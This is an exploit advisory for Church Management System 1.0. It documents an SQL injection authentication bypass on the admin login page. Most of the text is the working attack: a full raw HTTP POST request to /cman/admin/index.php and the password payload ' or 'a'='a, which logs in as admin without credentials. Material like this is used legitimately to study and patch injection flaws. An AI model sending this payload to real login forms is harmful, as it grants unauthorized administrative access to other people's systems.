Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)

# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :

1-Go to http://target.com/cman/admin
2-Write the following payload to username and admin parameter and click login.

######################## REQUEST ###############################

POST /cman/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/admin/index.php
Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc
Upgrade-Insecure-Requests: 1

username=test&password=%27+or+%27a%27%3D%27a&login=

################################################################

PAYLOAD:

# username : test
# password : ' or 'a'='a